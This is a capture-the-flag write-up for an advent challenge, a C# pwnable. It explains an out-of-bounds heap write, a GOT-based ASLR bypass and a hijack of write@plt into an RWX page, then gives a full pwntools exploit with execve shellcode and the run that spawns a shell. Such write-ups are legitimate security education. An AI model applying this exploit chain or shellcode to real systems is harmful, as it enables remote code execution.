day 08 - Unmanaged [general]

day 8 - Unmanaged

On the 8th day of advent @rchpmv gave to meee, a c# pwnable with no bi-na-ryyy

Writeup

If we examine the provided C# program source we learn that we're thrown into an endless loop accepting a few different actions:

  • Action 1 allows us to allocate a new FastByteArray of a given (0-255) length.
  • Action 2 allows us to write into an existing FastByteArray at a given (0-255) offset.
  • Action 3 allows us to read from an existing FastByteArray at a given (0-255) offset.

The bug here is that reading/writing from an exsiting FastByteArray does not take into account the original size of this FastByteArray. So we have an OOB access with a limited reach.

By playing around a bit with the target (Docker) environment we learnt that if we allocate three FastByteArray's with a size of 0x10, the second and third end up in close (enough) proximity in memory. By writing out of bounds to the second FastByteArray we can corrupt the metadata of the third FastByteArray. This allows us to overwrite the pointer to the backing buffer of the third FastByteArray. Essentially, this gives us an arbitrary read and write primitve by first overwriting this pointer to a location of our liking, and then issueing read/write operations on the third FastByteArray.

So we have an arbitrary read/write primitive, thats great news. Where do we go from here? Let's start by defeating ASLR. Since we're not dealing with a PIC/PIE binary we have the .got(.plt) at a fixed location. By leaking a .got.plt entry for a known function and subtracting a fixed delta (since we have the Docker image we known exactly which version of libc is being used) we can calculate the base address of libc.

Next, we rely on a little (known) fact that even though the address space is randomized, once we manage to get one shared library's base address, we can calculate the base address of any other shared library by adding/subtracting a delta that never changes. We use this to calculate the base address of System.Native.so, one of the dotnet runtime's shared libraries which is called when libc's read() or write() are being invoked by the .NET program. We overwrite the .got.plt entry for write, so that upon the next read action (which will write() to stdout) we hijack the Program Counter and can jump to any location we want.

Where to jump though? We had issues getting the stars to align so the constraints of the one_gadget technique were satisfied.. so we had to find a different (single-shot) method. Luckily, the dotnet runtime leaves some memory pages that are marked as RWX around. By (again) leveraging the fixed delta between ASLR'd page we can deduce where those are in memory. We use our arbitrary write to write some simple execve("/bin/sh") shellcode into a RWX page, and point PC there..

What remains is a nice interactive shell, success! :-)

Without further ado, the full exploit:

Exploit

Hacky, as per usual :-)

#!/usr/bin/python

from pwn import *

def new(size):
    return "\x01" + chr(size & 0xff)

def fill(idx, offset, size, data):
    o = "\x03"
    o += chr(idx & 0xff)
    o += chr(offset & 0xff)
    o += chr(size & 0xff)
    o += data
    return o

def read(idx, offset, size):
    o = "\x02"
    o += chr(idx & 0xff)
    o += chr(offset & 0xff)
    o += chr(size & 0xff)
    return o


def leak64(addr):
    global c
    c.write(fill(1, 0x60, 0x8, struct.pack("<Q", addr - 0x10)))
    c.write(read(2, 0x00, 0x8))
    d = ""
    while len(d) < 0x08:
        d += c.read(1)
    return struct.unpack("<Q", d)[0]

def write64(addr, val):
    global c
    c.write(fill(1, 0x60, 0x8, struct.pack("<Q", (addr - 0x10))))
    c.write(fill(2, 0, 0x8, struct.pack("<Q", val)))

def write_data(addr, data):
    global c
    c.write(fill(1, 0x60, 0x8, struct.pack("<Q", (addr - 0x10))))
    c.write(fill(2, 0, len(data), data))

#c = process("./bin/Release/netcoreapp3.0/pwn2")
#lib_delta = 0x3e31000
#rwx_delta = 0x3467000

c = remote("3.93.128.89", 1208)
lib_delta = 0x3e32000
rwx_delta = 0x3468000

c.write(new(0x10))
c.write(new(0x10))
c.write(new(0x10))

# GET LIBC BASE
fopen_libc = leak64(0x6140c8)
fopen_delta = 0x701e0

print "fopen@libc    : %016x" % (fopen_libc)
libc_base = fopen_libc - fopen_delta
print "libc base     : %016x" % (libc_base)
stack_addr = leak64(libc_base + 0x1bc508)
print "stack addr    : %016x" % (stack_addr)
system_native_base = libc_base - lib_delta
print "System.Native : %016x" % (system_native_base)
system_native_got = system_native_base + 0x20f000
print "System.NativeG: %016x" % (system_native_got)
gotleak = leak64(system_native_got + 0xb0)
print "LEAKY         : %016x" % (gotleak)

rwx_base = system_native_base + rwx_delta
print "RWX BASE      : %016x" % (rwx_base)

shellcode = "\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"
write_data(rwx_base, shellcode)

# stomp write@plt
write64(system_native_got + 0xb0, rwx_base)

# trigger write@plt
c.write(read(1, 0, 0x10))
c.interactive()

Running it yields us our flag.

[+] Opening connection to 3.93.128.89 on port 1208: Done
fopen@libc    : 00007f6bd7df21e0
libc base     : 00007f6bd7d82000
stack addr    : 00007ffd22254e74
System.Native : 00007f6bd3f50000
System.NativeG: 00007f6bd415f000
LEAKY         : 00007f6bd827a460
RWX BASE      : 00007f6bd73b8000
[*] Switching to interactive mode
$ id
uid=8888(ctf) gid=8888(ctf) groups=8888(ctf)
$ ls
flag.txt
$ cat flag.txt
AOTW{1snt_c0rrupt1nG_manAgeD_M3m0ry_easier_than_y0u_th1nk?}

Flag

AOTW{1snt_c0rrupt1nG_manAgeD_M3m0ry_easier_than_y0u_th1nk?}